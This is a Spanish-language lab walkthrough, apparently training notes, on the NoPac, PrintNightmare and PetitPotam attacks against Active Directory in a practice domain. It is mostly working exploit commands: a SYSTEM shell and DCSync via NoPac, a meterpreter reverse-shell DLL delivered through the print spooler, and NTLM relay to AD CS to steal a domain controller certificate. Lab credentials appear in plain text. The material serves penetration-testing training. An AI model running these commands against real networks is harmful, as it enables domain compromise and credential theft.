Bleeding Edge AD Vulnerabilities — NoPac, PrintNightmare, PetitPotam

Resumen:
Ataques recientes (2021–2022) que permiten privilege escalation y domain compromise en entornos Active Directory. Son técnicas potentes, relativamente silenciosas y útiles para laboratorios, pero deben evitarse en clientes reales sin permisos y entendimiento claro de su impacto.


📌 Escenario General


🚨 NoPac – SamAccountName Spoofing

CVE-2021-42278 + CVE-2021-42287

Permite elevar privilegios desde usuario de dominio estándar → Domain Admin en un solo comando.

🧠 Concepto


🔧 Preparación

git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install

git clone https://github.com/Ridter/noPac.git

🔍 Escanear vulnerabilidad

sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

Indicadores:
Pasted image 20251120174919.png


🛠️ Explotación – Obtener una SYSTEM shell

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

Resultado:
{A62EEA9B-2B22-4979-914B-29D1ECEB77B7}.png


🗃️ TGT generado

Se guarda en el directorio actual:

administrator_DC01.INLANEFREIGHT.local.ccache

Usable para pass-the-ticket.


🩺 DCSync con NoPac

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 \
  -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 \
  --impersonate administrator -use-ldap -dump \
  -just-dc-user INLANEFREIGHT/administrator

🖨️ PrintNightmare

CVE-2021-34527 / CVE-2021-1675

Permite Remote Code Execution como SYSTEM en cualquier máquina con Print Spooler activo.


🔧 Preparación

git clone https://github.com/cube0x0/CVE-2021-1675.git

Necesitas también instalar versión modificada de Impacket:

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 setup.py install

🔍 Verificar RPC expuesto

rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

💣 Explotación

1. Crear payload DLL

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll

2. Servir DLL por SMB

sudo smbserver.py -smb2support CompData /path/to/backupscript.dll

3. Iniciar handler en MSF

[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
LHOST => 10.3.88.114
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
LPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

[*] Started reverse TCP handler on 172.16.5.225:8080 

4. Ejecutar la explotación

gorosolea@htb[/htb]$ sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'

[*] Connecting to ncacn_np:172.16.5.5[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\172.16.5.225\CompData\backupscript.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...

<SNIP>

🎯 Resultado


🪓 PetitPotam (MS-EFSRPC)

CVE-2021-36942 – LSA Spoofing + NTLM Relay to ADCS

Ataque basado en:

  1. Forzar a un DC a autenticarse vía NTLM → nuestro servidor.

  2. Relay hacia AD CS (Web Enrollment).

  3. Obtener un certificado para el DC.

  4. Usarlo para pedir un TGT del DC → DCSync.


🧰 Preparación: ntlmrelayx targeting AD CS

sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

⚡ Lanzar PetitPotam

python3 PetitPotam.py 172.16.5.225 172.16.5.5 

Resultado esperado:


🎟️ Resultado crítico

En ntlmrelayx aparecerá:

GOT CERTIFICATE! Base64 certificate of user ACADEMY-EA-DC01$: MIIStQIBAzCCEn8GCSqGSIb3DQEHB...

Este certificado permite:


✔️ Conclusiones Finales